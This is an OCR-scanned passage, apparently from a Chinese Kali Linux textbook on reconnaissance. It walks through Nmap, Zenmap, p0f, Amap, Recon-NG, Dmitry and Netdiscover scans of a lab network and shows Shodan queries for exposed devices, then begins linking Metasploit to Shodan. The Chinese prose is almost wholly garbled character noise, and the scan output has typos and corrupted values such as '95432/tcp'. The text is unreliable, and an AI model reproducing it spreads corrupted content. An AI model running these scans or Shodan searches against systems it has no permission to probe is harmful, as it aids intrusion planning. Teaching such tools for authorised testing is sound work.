Starting Nping 0.6.40 ( http://nmap.org/nping ) at 2014-04-21 17:58 CST

SENT (0.0605s) TCP 192.168.41.234:14647 > 192.168.41.136:445 S ttl=64 id=54933 iplen=44
seq=3255055782 win=1480

RCVD (0.0610s) TCP 192.168.41.136:445 > 192.168.41.234:14647 RA ttlI=64 id=0 iplen=40
seq=0 win=0

SENT (1.0617s) TCP 192.168.41.234:14647 > 192.168.41.136:445 S ttl=64 id=54933 iplen=44
seq=3255055782 win=1480

RCVD (1.0620s) TCP 192.168.41.136:445 > 192.168.41.234:14647 RA ttI=64 id=0 iplen=40
seq=0 win=0

SENT (2.0642s) TCP 192.168.41.234:14647 > 192.168.41.136:445 S ttl=64 id=54933 iplen=44
seq=3255055782 win=1480

RCVD (2.0645s) TCP 192.168.41.136:445 > 192.168.41.234:14647 RA ttl=64 id=0 iplen=40
seq=0 win=0

SENT (3.0667s) TCP 192.168.41.234:14647 > 192.168.41.136:445 S ttl=64 id=54933 iplen=44
seq=3255055782 win=1480

RCVD (3.0675s) TCP 192.168.41.136:445 > 192.168.41.234:14647 RA ttlI=64 id=0 iplen=40
seq=0 win=0

SENT (4.0683s) TCP 192.168.41.234:14647 > 192.168.41.136:445 S ttl=64 id=54933 iplen=44
seq=3255055782 win=1480

RCVD (4.0685s) TCP 192.168.41.136:445 > 192.168.41.234:14647 RA ttI=64 id=0 iplen=40
seq=0 win=0

Max rtt: 0.334ms | Min rit: 0.136ms | Avg rit: 0.217ms

Raw packets sent: 5 (220B) | Revd: 5 (230B) | Lost: 0 (0.00%)

Nping done: 1 IP address pinged in 4.13 seconds

HErH S BN T 192.168.41.234 5 HFR RS 192.168.41.136 22 [i1] TCP f:4t#2. i@
T AR B AL B FG i LRL S WL 28 2 BT, LSRR 2R ST 3K SR Y 875
THR D

44 FAHITFH% B

AN TG R 1) 199 46 BTG R Y W LEAT VBB MR, 020 T MRk 28 WL B B T I ()
M%7 . 7& Kali Linux $ERA$E{IE T Nmap #1 Zenmap M- M350 0 L. 247U AFs &
Zith T JHAY TCP AT UDP J 1, A5 KE /44 Nmap fl Zenmap T B[4

441 TCPimH13# T H Nmap

{4 /] Nmap T B2 E Hbr ML 192.168.41.136 FIFH 6 115 . $ATar 410 K Frx:

root@kali:~# nmap 192.168.41.136

Starting Nmap 6.40 ( http://nmap.org ) at 2014-04-19 16:21 CST
Nmap scan report for www.benet.com (192.168.41.136)

Host is up (0.00022s latency).

Not shown: 996 closed ports

PORT STATE SERVICE
21/tcp open ftp

22/tcp open ssh

23/tcp open telnet
25/tcp opne smtp

53/tcp open domain
80/tcp open http

111/tcp open rpcbind
139/tcp open netbios-ssn
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445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
S514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysq|
95432/tcp open postgresq|
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
8009/tcp open ajp13
8180/tcp open unknown

MAC Address: 00:0C:29:31:02:17 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds

I B s TN 192.168.41.136 _E IO Frfam 1, 122, 53, 80 Al 111 %%,
& E P HIK OSEE

QR F AR EHLEFT TR DA i, H P AR SRkl BEAT r WA . JX I Y P R LA H
Nmap i Sl I, ARl 57E 1~1000 ZIE)FE S, AT W R

root@kali:~# nmap -p 1-1000 192.168.41.136

Starting Nmap 6.40 ( http://nmap.org ) at 2014-04-19 16:27 CST
Nmap scan report for www.benet.com (192.168.41.136)

Host is up (0.00020s latency).

Not shown: 49 closed ports

PORT STATE SERVICE
21/tcp open ftp

22/tcp open ssh

23/tcp open telnet
25/tcp opne smtp

S3/tep open domain
80/tcp open http

111/tcp open rpchind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
S513/tcp open login
S14/tcp open shell

MAC Address: 00:0C:29:31:02:17 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.35 seconds

S B Bk T AL 192.168.41.136 _F i 171 1~~1000 - [a] By I8 g 115

2. AWBEmO

Nmap T Fik o] LR E —AMREE i 52k

(3250 4-2]1 ] Nmap TR E 1T 192.168.41 * W EL 9 FTAT T )3 TCP i 11 22 [1)

LML AT a2 W R R
root@kali:~# nmap -p 22 192.168.41 =

Starting Nmap 6.40 ( http://nmap.org ) at 2014-04-21 09:44 CST
Nmap scan report for 192.168.41.1
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Host is up (0.00029s latency).

PORT STATE SERVICE

22/tcp closed ssh

MAC Address: 00:50:56:C0:00:08 (VMware)

Nmap scan report for 192.168.41.2

Host is up (0.00032s latency).

PORT STATE SERVICE

22/tcp closed ssh

MAC Address: 00:50:56:E9:AF:47 (VMware)

Nmap scan report for www.benet.com (192.168.41.136)
Host is up (0.00056s latency).

PORT STATE SERVICE

22/tcp open ssh

MAC Address: 00:0C:29:31:02:17 (VMware)

Nmap scan report for 192.168.41.254

Host is up (0.00027s latency).

PORT STATE SERVICE

22/tcp filtered ssh

MAC Address: 00:50:56:E1:5E:75 (VMware)

Nmap scan report for 192.168.41.234
Host is up (0.000052s latency).
PORT STATE SERVICE

22/tcp open ssh

Nmap done: 256 IP addresses (5 hosts up) scanned in 2.81 seconds

Byt (& R B T 192,168 41 % MBI T TT A 22 I DI FAUE L. W (45
WLUER], B RE BN RO T 22 SN,

i/ Nmap I FLid o] DL4g 4338w 11 22 45 R4 as . $UTa 4 W FiR:

root@kali:~# nmap -p 22 192.168.41.* -oG /tmp/nmap-targethost-tcp445 . txt

HATLL Ean & e s B S E bR g Bl X A A (HEHAT
Z a4 5, Nmap 22 F 4 H s B AR 1E2)/tmp/ nmap-targethost-tep445 txt W AFH .

442 EFA TCP imHAAH TR Zenmap

Zenmap J& Nmap B FHEL ) 35T Nmap (1922535 =R HT) T 5. "EBet FAR2th
TR, AR T LM AT E S BNl FTPRE S48 Zenmap T R AUHEH]

JA 8l Zenmap 1.1, £ Kali BT SR L SE “ W HIFET” [Kali Linux| “f5 B8 |
“DNS 7+ #1” |Zenmap iy, KT HF W1 4.2 Bros i) Frii

Zenmap EER
Sian Taals Peofile Halp
Target: | ~ | profite: [ ntense scan v | [stan| conzel
Command Inn:p oA }
Ilosts |5 EEEEEE | NmGF'OH“U“Pu"E.'HDnS Topology Fos: Detals Scans |
DS |Host v | etass
| Fiker Hos:s

i 42 Zenmap AT U5 51
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fEi% JH I Target SCAKEH 4 A F A5 EHLHAE, 76 Profile SCAMNE L PRI, B
SEki, Hiili Scan f%H1, FIHET R WP 4.3 Fros.
Zenmap B

Scan Toals Profile Help

Target: [192.15&.41.‘ W Profile {Imense scan |V| Scan Cancel

Command: [Hmap T4 -A-v192.168.41.*

[ Huﬂ“_sqf\““ J Nmap OUfFUT|FwtsfHust4Tupulngy}Hust Details 5(ans|

05 | Host nmap -T4 -A -v 192.168.41.* ] ] £ |oetats

. | Ulscoversd open port 5d/tcp on 194, 164.41. L3b =)
H. 192.168.41.4 Discovered open port 135/tcp on 192.168.41.1 B
[ 19216821 | Discoversd open port 443/tcp on 192.168,41,1
Discoversd open port 80/tcp on 192.168.41.136
wrww.benetg Discoversd ogen port 5900/tcp on 192,168.41.1
Discoversd open port 445/tcp on 192,168.41.1
< 192.166.41. Discoversd open port 6059/tcp on 192.168.41.1
Completed SYN Stealth Scan against 192.168.41.136
in 0.17s [3 hosts left)
Discoversd open port 91Z/tcp on 192.168.41.1
Discoversd open port 49160/tcp on 192.168.41.1
Discoverzd open port 902/tcp on 192,168.41.1
Discoversd open port 49153/tcp on 192.168.41.1
Discoversd open port 49155/tcp on 192.168.41.1
R [»] | Discovered open port 2480B/tcp on 192,168.41.1

[ Fiertiosts | Discovarad ogen port 49152/tco on 192168 41,1
B 43 HFm
I S T A 192.168.41 %5 B FFAT LI 0 (0BT 7388 115 o 2/ RS e T A
U LA A HLE RS 15 ) S AT 4 . AT R, T LASM AT Namp 4
(56 LN, MR, RN AT

(o] ]

45 ZHIZEARF)

PUAE Lo 3% o SO LR A RS FR SOR MR KR A AT ko FREORMIIE IR
RGN TR, OGRS, AL R ARSI SRR R, G SR A
W, W T REBIE NN ERAE RS R T Ll AR #AE ] Nmap T B ANAIEAE
IEATHY EHLRIERAE R S

451 f£A Nmap TRIR7RFEEE

filJ Nmap iy % #9-0 32503 H B4k R T fe. AT a2 W N pioR:

root@kali:~# nmap -O 192.168.41.136

Starting Nmap 6.40 ( http://nmap.org ) at 2014-04-19 19:20 CST

Nmap scan report for www.benet.com (192.168.41.136)

Host is up (0.00045s latency).

Not shown: 996 closed ports

PORT STATE SERVICE

22/tcp open ssh

53/tcp open domain

80/tcp open htitp

111/tcp open rpcbind

MAC Address: 00:0C:29:31:02:17 (VMware) IIMAC ik
Device type: general purpose

Running: Linux 2.6.X|3.X

OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 IR IER G R
OS details: Linux 2.6.32 - 3.9
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Network Distance: 1 hop

OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.18 seconds

Gy S ks T ML 192.168.41.136 [UFREUS L, BLHE bR EHLFT TR 0. MAC
Mkl AE RA RN IR A

452 4R T B pof

pOf J&—3KH 78 Z B SR EORMN L . 1% U HGE T /001 B AR 0L H i 4,
XN AR RETHEAT SN, B R R A A TERE R AT BG KB B AT i il pof
BEVUN B B W
O #AERGRA,

)

1

~

1a

—an =

TY kg2 )G
117+ NAT B
e ISAT T A A
TEFE RS LA sl
O JLFE R %00 DSL FIISP 5 A4,
{41 1] pOf 43 BT Wireshark ik (i —N3CfF. AT A 211 B Fow:

root@kali:~# pOf -r /imp/targethost.pcap -o pOf-result.log

--- pOf 3.06b by Michal Zalewski <lcamtuf@coredump.cx> ---
[+] Closed 1 file descriptor.

[+] Loaded 314 signatures from 'pOf.fp'.

[+] Will read pcap data from file '/tmp/targethost.pcap’.

[+] Default packet filtering configured [+VLAN].

[+] Log file 'pOf-result.log' opened for writing.

[+] Processing capture data.

-[ 192.168.41.234/55653 -> 192.168.41.141/80 (syn) |-

&

FD fm

A=
=]
A~
=]

I N R IRy

| client =192.168.41.234/55653

| os = Linux 2.2.x-3.x

| dist =0

| params = generic

| raw_sig = 4:64+0:0:1460:mss*20,10:mss,sok,ts,nop,ws:df,id+:0

-[ 192.168.41.234/55653 -> 192.168.41.141/80 (mtu) ]-
I

| client = 192.168.41.234/55653
| link = Ethernet or modem
| raw_mtu = 1500

-[ 192.168.41.234/55653 -> 192.168.41.141/80 (syn+ack) ]-

I
| server =192.168.41.141/80

| os = Linux 3.x
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| dist =0
| params = none
| raw_sig = 4:64+0:0:1460:mss*10,6:mss,sok, ts,nop,ws:df:0

-[ 192.168.41.234/55653 -> 192.168.41.141/80 (mtu) ]-
I

| server =192.168.41.141/80
| link = Ethernet or modem
| raw_mtu = 1500

[ 192.168.41.234/55653 -> 192.168.41.141/80 (http request) ]-
I

| client =192.168.41.234/55653
| app = Firefox 10.x or newer
| lang = English
| params = none
raw_sig =

I
1:Host,User-Agent,Accept=[text/html|,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8], Acce

pt-Language=[en-US,en;g=0.5],Accept-Encoding=[gzip,deflate], Connection=[keep-alive].:Accept-
Charset,Keep-Alive:Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0
Iceweasel/22.0

I

[ 192.168.41.234/55653 -> 192.168.41.141/80 (http response) |-
I

| server =192.168.41.141/80

| app = Apache 2.x

| lang = none

| params = none

| raw_sig =

1:Date,Server,Accept-Ranges=[bytes], ?Content-Length,Connection=[close],Content-Type:Keep-
Alive:Apache/2.2.15 (Red Hat)
I

All done. Processed 718 packets.

far i (15 272 pOf 43T targethost.peap B — M40 - i {5 B o 1% i SR 5 4
IR S, B RE 2R, bk, LUK, 24T H IR S5 #8 Aidm 15 25

LE8: pOf 40484 v2 F= v3 B FTAE A a9k A IRKEY £ 5. 4o, £ pOfv2 FAA T,
FHA AL AR AR s, (2R V3 IRAT A1, AP P pof AR v3.

4.6 JRE8938 8RR

AT IRAT I REE N, D20 EERE F bR R G0 IR S IR EUE . o5 1E
AUF AR % L g5 22 ARCASE . {E Kali 5, A LUEH] Nmap A1 Amap | H AR5
gaB e AR 23] Nmap Rl Amap T H f41H
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46.1 {£AH Nmap TRIRAFEFELEE

i H] Nmap | H A7 192.168.41.136 JIx55 L EAEIZAT 3w H o AT S W1 F B
root@kali:~# nmap -sV 192.168.41.136

Starting Nmap 6.40 ( http://nmap.org ) at 2014-04-21 10:56 CST
Nmap scan report for www.benet.com (192.168.41.136)

Host is up (0.00020s latency).

Not shown: 995 closed ports

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.2.2
22/tcp openssh OpenSSH 5.3 (protocol 2.0)
53/tcp opendomain

80/tcp openhttp Apache httpd 2.2.15 ((Red Hat))
111/tcp openrpcbind 2-4 (RPC #100000)

MAC Address: 00:0C:29:31:02:17 (VMware)

Service Info: OS: Unix

Service detection performed. Please report any incorrect results at hitp://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.50 seconds

M i S ] LA B B AR 448 LI i e 05 21, 22, 53, 80 F1 111, A
B, SRS O Y A IR 45 M WA L

462 RRFEM=ETHE Amap

Amap MRS M L. EHZ T AERMIEIZEATAE A ¥ i O ol — AV o
O ER R . FlfEH Amap LHAEFRZT 50~100 5 DG E A, 05K F kx =6
192.168.41.136 FIEAfEIafT N R . $ATHr 200 R BT R

root@kali:-~# amap -bq 192.168.41.136 50-100
amap vo.4 (www.thc.org/thc-amap) started at 2014-04-21 11:20:36 - APPLICATION MAPPING

mode
Protocol on 192.168.41.136:80/tcp matches http - banner: <IDOCTYPE HTML PUBLIC
"-/IETF//DTD HTML 2. 0//EN">\n<html><head>\n<title>501 Method Not

Implemented</title>\n</head><body>\n<h1>Method Not Implemented</h1>\n<p> to / not
supported.<br />\n</p>\n<hr>\n<address>Apache/2.2.15 (Red Hat) Server at www.benet.c
Protocol on 192.168.41.136:80/tcp matches http-apache-2 - banner: <IDOCTYPE HTML PUBLIC
"-/IETF//DTD HTML 2. 0//EN">\n<html><head>\n<title>501 Method Not
Implemented</title>\n</head><body>\n<h1>Method Not Implemented</h1>\n<p> to / not
supported.<br />\n</p>\n<hr>\n<address>Apache/2.2.15 (Red Hat) Server at www.benet.c
Protocol on 192.168.41.136:53/tcp matches dns - banner: \f

amap v5.4 finished at 2014-04-21 11:20:48

A RER T 192.168.41.136 EHLE 50~ 100 i 5 [ P9 IEAEIE AT IR0 1. A
Rt B BN AR ) DL T RS ML 192.168.41.136 1412 Red Hat $8:/E &%¢, i H.
IEFEISAT A IRA 2.2.15 ] Apache JIe5#%, H PR & H 2 80, MEBIECE — 475 Bbw]
VLG #)1% T HLLIE1T T DNS IRgs2%,  HIFBr i sz 53.
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47 HAbAz G EF B

i T AE AN R R DR AR IR AR BT T R . £ Kali HPat Rl RLE
ERE LR B E R RS S, W] Recon-NG HESL, Netdiscover T LAl Shodan
THS. A iX &%, SCHlfE Bk

4.7.1 Recon-NG ¥EZ2

Recon-NG 72 1 Python %455 ) — 1~ TFE Y Web fifr ({5 BEEE) HEZZ, Recon-NG HE
RR—Tm KT, e LLAS RS B Mt . T /2044 1 Recon-NG
foiy 1 4.

JA 5l Recon-NG fE2 . $ATar S W TF ron:

root@kali:~# recon-ng

) 111 /11 /11 | | | _ /11
i i _ _ o / 1/ i
) waN) / _ A Y N e e e e |

! I/ / i W ! ! I i
! I 1 ) N _ i i i N

+ +

| _ - _ — I

P - e o _ C _ _ ol |

I I A S | G 0 e O | MR -

| Consulting | Research | Development | Training |

| http://Awww blackhillsinfosec.com |

+ +

[recon-ng v4.1.4, Tim Tomes (@LaNMaSteR53)]
[56] Recon modules
[5] Reporting modules
[2] Exploitation modules
[2] Discovery modules
[11 Import modules
[recon-ng][default] >

PL B HiE B2 7n T Recon-NG HEAZFJEAF B, #lln, 7F Recon-NG HEZE &, fLHH
56 Mg, S MRE B, 2 MBFEIGEED, 2 NI 1 AR & E
[recon-ng][default] >$2/R 17T, #¢75 Al 2l 5 o Recon-NG HEZE . HLTE, it 0] LA7E [recon-ng][default]
SRNAT G AT S AR E a2 T .

AL ] Recon-NG HEZE 2 /1, nJ LI H] help iy & &5 A Fr 3 ol 04T 2 - W0 F AT

[recon-ng][default] > help
Commands (type [help|?] <topic>):

add Adds records to the database
back Exits current prompt level
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L,

WAT

del Deletes records from the database
exit Exits current prompt level

help Displays this menu

keys Manages framework API keys

load Loads specified module

pdb Starts a Python Debugger session
query Queries the database

record Records commands to a resource file
reload Reloads all modules

resource Executes commands from a resource file
search Searches available modules

set Sets module options

shell Executes shell commands

show Shows various framework items
spool Spools output to a file

unset Unsets module options

use Loads specified module

workspaces Manages workspaces

LL_Ef A5 B 27 T 1L Recon-NG HEZZHnfis 47 1wy 42 -

IZHEAL A Metasploit HE4EZR

AP SCRFIR 2, ki, nT LLAFH] show modules iy 4 7 & {7 17 2T B E 41 3¢,

AR R

[recon-ng][default] > show modules

Discovery
discovery/info_disclosure/cache_snoop
discovery/info_disclosure/interesting_files

Exploitation
exploitation/injection/command_injector
exploitation/injection/xpath_bruter

Import
import/csv_file

Recon
recon/companies-contacts/facebook
recon/companies-contacts/jigsaw
recon/companies-contacts/jigsaw/point_usage
recon/companies-contacts/jigsaw/purchase_contact
recon/companies-contacts/jigsaw/search_contacts
recon/companies-contacts/linkedin_auth
recon/contacts-contacts/mangle
recon/contacts-contacts/namechk
recon/contacts-contacts/rapportive
recon/contacts-creds/haveibeenpwned
recon/hosts-hosts/bing_ip
recon/hosts-hosts/ip_neighbor
recon/hosts-hosts/ipinfodb
recon/hosts-hosts/resolve
recon/hosts-hosts/reverse_resolve
recon/locations-locations/geocode
recon/locations-locations/reverse geocode
recon/locations-pushpins/flickr
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recon/locations-pushpins/picasa
recon/locations-pushpins/shodan
recon/locations-pushpins/twitter
recon/locations-pushpins/youtube
recon/netblocks-hosts/reverse_resolve
recon/netblocks-hosts/shodan_net
recon/netblocks-ports/census_2012
Reporting

reporting/csv
reporting/html
reporting/list
reporting/pushpin
reporting/xml

[recon-ng][default] >

MWt G R, WTUER SR T R, B affmrsiidl, £H5) Recon-NG
RESL S W] AR 3. HH ) a] LR FH AN [R] A ER AT 25 AP (s i S, R i LAl 7B o 41
ff Hf Recon-NG H [{ R ER it 4T (5 Sl .

[ 32151 4-3] 14i/1] recon/domains-hosts/baidu_site f5iblt, #{2 baidu #3175l H A
VEALBR W b s .

(1) ] recon/domains-hosts/baidu_site L. 574U FFioR:

[recon-ng][default] > use recon/domains-hosts/baidu_site

(2) EFIZHBR T R SRS E . AT W R s

[recon-ng][default][baidu_site] > show options
Name Current Value Req Description

SOURCE default yes source of input (see 'show info' for details)
[recon-ng][default][baidu_site] >

N o, AR S R
(3) AU SOURCE B HL. 4T A4 b FHiz:

[recon-ng][default][baidu_site] > set SOURCE baidu.com
SOURCE => baidu.com

Mo B fE B, nJ LA 3 SOURCE &0 2 80 24 ¥ i A baidu.com.
(4) Jaahfs Mtz AT S W~ R:

[recon-ng][default][baidu_site] > run

BAIDU.COM

[*] URL: http://www_.baidu.com/s?pn=0&wd=site%3Abaidu.com
[*] map.baidu.com

[*] 123.baidu.com

[*] jingyan.baidu.com

[¥] top.baidu.com

[*] www.baidu.com
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[*] hi.baidu.com

[¥] video.baidu.com

[*] pan.baidu.com

[*] zhidao.baidu.com

[*] Sleeping to avoid lockout...

SUMMARY

[*] 9 total (2 new) items found.

M A5 S, WTEARRIHRE] T 9 AN 1. B3 i1 B K 4 1% 4 31 Recon-NG
JCE R . IR, T DA AR A O R O

(k6 4-4] AR EAE . BARSAELDRN T s,

(1) JE$% reporting/csv B, $ATATA W FRTR.

[recon-ng][default] > use reporting/csv

(2) BRR Y. BATa S W s

[recon-ng][default][csVv] > run
[*] 9 records added to '/root/.recon-ng/workspaces/default/results.csv'.

Mo fE BT BUFE 2, M2 2E 9 Al 5 2 #  In 2| froot/ recon-ng
/workspaces/default/results.csv AFH . FITHZ A, Qi 4.4 k.

|
results.csv L@m’niﬂu

() Wi (E) Eﬁ s) :t-lﬁ(o) ﬁa’Bh(H)
"123.baidu. com

"hi.baidu.com"”
"jingyan. baldu com T T
"map.baidu.com" ,”“,"",““,"”
"pan.baidu.com“,“”,”“,"","","”
“top:baidu.eom" ;" e
‘wideo. batdu, eom:* #8, hE WE S Al
“www.baidu.com®,"", """, """, """, ""
"zhidao.baidu.com","","","","",""

¥ 44 results.csv 31

(3) MiZF el LLE S, BRI 0.
M el LAE ] Dmitry 6y 4, Ariff ¢ TR 145 L. TR/ 28 Dmitry a4 (4EH] .
% Dmitry 72 (FEENE L. AT ar 2 W N PR

root@kali:~# dmitry -h

Deepmagic Information Gathering Tool

"There be some deep magic going on"

dmitry: invalid option -- 'h’

Usage: dmitry [-winsepfb] [-t 0-9] [-o %host.txt] host
-0 Save output to %host.txt or to file specified by -o file
-i  Perform a whois lookup on the IP address of a host
-w Perform a whois lookup on the domain name of a host
-n Retrieve Netcraft.com information on a host
-s Perform a search for possible subdomains
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-e Perform a search for possible email addresses

-p Perform a TCP port scan on a host
* -f  Perform a TCP port scan on a host showing output reporting filtered ports
*-b  Read in the banner received from the scanned port
* -t 0-9 Set the TTL in seconds when scanning a TCP port ( Default 2 )
*Requires the -p flagged to be passed

PL AT R R T dmitry iy A BTSSR v T 280 Fiin ] dmitry 6y 4 0-s %
T, SR BTSSR R

root@kali:~# dmitry -s google.com

Deepmagic Information Gathering Tool

"There be some deep magic going on"
HostlP:173.194.127.71

HostName:google.com

Gathered Subdomain information for google.com

Searching Google.com:80...

HostName:www.google.com

HostlP:173.194.127 .51

Searching Altavista.com:80...

Found 1 possible subdomain(s) for host google.com, Searched 0 pages containing 0 results
All scans completed, exiting

Mg A5 B, WTRLRE RS R B T — 8, %754 0 www.google.com, TP Hiil:
3 173.194.127.51, % S BRIA E M google.com Mub{822, IR AGEIZER: google.com [
Bk, AT LA a2 B4 R Unable to connect: Socket Connect Error 2512415 5. .

47.2 ARP {ii& T B Netdiscover

Netdiscover s&—> L/ sh ) ARP fii s T H. i% T H{EAE] DHCP [ o2
WA . W Netdiscover T H nJ AITERIZ% E414 1P Mok, KrfE7E4k VHLEEE R el
KIEMT ARP i3k . T IHPEE /)4 Netdiscover T H 4 H iz

Netdiscover iy 2 VLR R B

netdiscover [-i device] [-r range | -l file | -p] [-s time] [-n node] [-c count] [-f] [-d] [-S] [-P] [-C]

LA EiliET, S EIMZE0E LW bR,

O -idevice: fiiiE MG

-rrange: G LG L.

file: $ifE SR Y E

-p: FEAIBE AN, AN AL AT KL .
-s time: B> ARP i3k 2 8] 1) AR IR ]
-nnode: it [/ \ AT U4 6 .

-c count: A1 ARP 1K AT AR EL .

£ A BRI

O0OO0O00ODOD
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-d: ZEEHCE LI

¢ WTHIREAS ARP i35 3K 2 [ i e A 1] .

-P: fTEIEA.

Q -L: CREfE S, JFgksEBE T 74

(3265 4-5]1 /] Netdiscover " H Bl =4 Jmy b bd b By 1) 4L Ao i

root@kali:~# netdiscover
PATEA B )T, R moR W R s BfE R

/7,
Currently scanning: 10.7.99.0/8 | Screen View: Unique Hosts

OO0 C
n

692 Captured ARP Reqg/Rep packets, from 3 hosts.  Total size: 41520

A0 R TR

IP At MAC Address Count Len MAC Vendor
192.168.6.102 00:e0:1¢c:3c:18:79 296 17760 Cradlepoint, Inc
192.168.6.1 14:e6:ed:ac:fb:20 387 23220 Unknown vendor
192.168.6.110 00:0c:29:2e:2b:02 09 540 VMware, Inc.

M A5 Brb, Al LA B ER] T =6 EAL. H TP Mk 192.168.6.102,

192.168.6.1 1 192.168.6.110.

473 #ZE5|% T H Shodan

Shodan & HLIER _E I am KM - MERGI R T 2 THAVEAE M B ML, 1 B

BRI . Shodan W] LB — “ M K, — LR 7E T4 T A 1K R i
BRI 5 BEIR K ATEUNURIES th 35, REAHARAE KL S (/MRS 8 L FROR Y
AL B, T4 Shodan TAEHEST .

Shodan )7 /9 # 41 /&: www shodanhq.com. F]FFiZ M hEFM, W& 4.5 Frx.

A (=@ e
/' & SHODAN - Computer & x ‘\ Y
+« C' | [ www.shodanhg.com By @ =

Shﬂd_an Exploits Scanﬁub Mapg Blcg Fa’mﬁiinrssry Proanotion

% svooan [ -

EXPOSE ONLINE DEVICES.

WEBCAMS. ROUTERS.
POWER PLANTS. IPHONES. WIND TURBINES.
REFRIGERATORS. VOIP PHONES.

TAKE A TOUR

[ 4.5 Shodan &

n REAY Z — 2L AKVUIS , 76 Shodan X [ SCAKE i AR ZR N 78 - SR, Biili Search

« 08 »

LHDT IR E . Gl P AR R AR a, WAESE A R4 A Cisco, Ji#iid7 Search
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5 FERAIEE RS,

I's

W FI WP 4.6 Frs.

& SHODAN - Computer 5 X

€« = C [ wwwshodanhg.com/search?q=Cisco iy @ =

Shodan Exploits Scanhub Maps Blog Anniversary Promotiongister | Login

*s SHODAN

Results 1 - 10 of about 3451395 for Cisco

Top Countries

panjde.hfc.comcastbusiness.net

186.56.20.158

Services 173.163.131.101

SSH 1,003,241 Comcast Business S8H-1.99-Cisco-1.25

HTTP 794,766 Communications

HTTPS 577,812 B Lancaster

sip 330,281 Hurricane
SHMP 306,575 173-163-131-101-BusName- LABS

United States 1,020,958 Telefonica de Argentina Celebrating 3
Russian Federation 179,180 neson 12072 years of
China 154572 - Shodan
Mexico 125941
Htaly 125788 Cisco I02 Software, 2800 Software (C2B300NM-AVENTERPRL - D,
RELEASE SOFTWARE (fct)
Technical Support: hitp://we. cisco.com/techsupport
Copyrizht {c) 1986-2006 by Cisco Systems, Inz.
Compiled Sat 07-Jan-08 04:34 by alnzuyen '. SHODAN
L J

K46 LRSR

MiZF T AR B R B SR =271 Cisco Ma%. R A vl LA TAT AT
IP bk, HEERFZEE

7EA ] Shodan 28514 rh, nf LIA F el 308 %0 Jod 45 /) 5 2% 31 Bl Bt 1) 70 75 2 19 4R
P, WA HIE TR L H 1S 8.0 AT AT 1S MRS, nlLMER LA FH8Z 5L, Wi 4.7 Frax.

chodan Cxploits Scanhub Maps Blog Anniversary Promotion

% sHoDAN

Homa Saarch Diractory Naia Analytics!Exports Davalopar Cantar 1 abs L

* Add to Directory | ili Export Data

Resulis 1 -10 cf about 248 for 1S/8.0 hestname:microsoft.com country:US
Services Microsott internet Intormation Services 8
4TS 135 131.107.16.138 HITR1.0 200 OK
HTTP 109 Ml‘cro.so‘ﬂCo:qomnon Content-"yper text/html
HTTP Aiemate 2 et Last-Hod Fied: Tue, 0B Nov 2012 07:59:17 GT
{TTPS Altemate 1 Details hocerl-Ruges: bvtes Hurrcane
TR 1 ETa: "feaciief dbbod] 107 13
rig.micresof.com szrver: Micrasott-118/4.0
H-Ponered-By: ASP.NET

Top Cities Dater Sal, 14 0l 2014 04004140 LM
tiedmond 137 Cantent-Lzngth: 1388 Celebrating 3
San Antonio z years of
Naperville 1 Shodan -

K47 2 TS kR

FEZF W TR B —> 1S 8.0 e ds a5 . MIEZBIRY B, W LUE BI5C T i
FraxfbnE s B FrEmE s, EPLARISCAE .
7f Shodan ¥}, 7 EVEE LRl JESR dr S AL W LA JLA IS Bl W R B

1. CityfiCountryfiz &

] City F1 Country fir % 1] AR/ NMERAHPEAE . W1 FFrs.
O country:US Fm M HBETIER.

+ 00 «
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d

city:Memphis 77 M i W % .

City A1 Country #r- &t ] LSS . W FAos.

d
2.

country:US city:Memphis.
HOSTNAME# %

HOSTNAME iy il i 5 58 THLE S F s a4 .

d
3.

hostname:google K712 google T4,

NET# %

I H NET fir 4330 54 TP ol MG 20 R s

a
a

4.

net:192.168.1.10: 4 #H1 192.168.1.10.
net:192.168.1.0/24: 49# 192.168.1.0/24 M5 1 IT4T FHL.

Titledn <

i H] Title iy W[ LARZRITH . Q1 FRR.

d
5.

title: “Server Room” TR R #ALHEE -
KEFHER

Shodan ] —~ I B 72 52 He A2 WM 7 oo WIRRNTE H A 28 G0 B0 iR 55 S 2
HUR ARG 284, R E A Web GUHUERZE L 1. WTFHR.

a

d
6.

d
d
d

apache/2.2.8 200 ok: # {8 EFi15 Apache 55 IE/EIZ1T 1Y 2.2.8 A, JF ALY
R TRk .
apache/2.2.8 -401 -302: ForBkid Thw 401 fAFZ sk 302 B o

HERE

IIS/7.0 hostname:YourCompany.com city:Boston 7&7~$% 2% 713 L ir 17 1E 7 12 4T
I1S/7.0 1] Microsoft Iz 45 2%

I1S/5.0 hostname:YourCompany.com country:FR ¢ /48 28 /17 [H Fr 17 1247 118/5.0 11
FINE |.. o

Title:camera hostname: YourCompany.com ¢ 7~ /1 - 5 AL A8 camera [115 B o
£e0:33.5,36.3 os:Linux Foni HJARARAN (225 33.5, 4% 36.3) MJEA{#% Linux
BE RS

HiREREKRIE

Port: I i v 5482 .
0S: Hid#EERGIE R,
After 5 Before: i H I TA4% % 45 .

[ 3551 4-61 1/ Metasploit 523} Shodan %4, HARHERAE DI IR,
(1) {¥ Shodanhq.com 3k i — 0 2 (0K F o
(2) M http://www_shodanhq.com/api doc M55 $KHL APT key, FRILF-(Hi w114 4.8 From .
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3R APLkey, A T ARG
= lel
/ & SHODAN - Computer & %
€ = C [1wwwsh Bl =

Shodan Exploits Scanhub Maps Bl&gttings Annivénsaoy/PromotiBuys 7

wsionaN [ <

Home Search Directory Data Analytics!/ Exports Developer Center Labs

Success: APl key successfully genarated.

(.

Analytics

duVOvweCmoloDfWqfWafax8sj0ZUa5BU

4.8 3RHU APL key

(3) J53) PostgreSQL JR55. #ATHAT S0 FRrw:

root@kali:~# service postgresql start

(4) JA 3l Metasploit 255 . $ATar4 W B Prs:

root@kali:~# service metasploit start

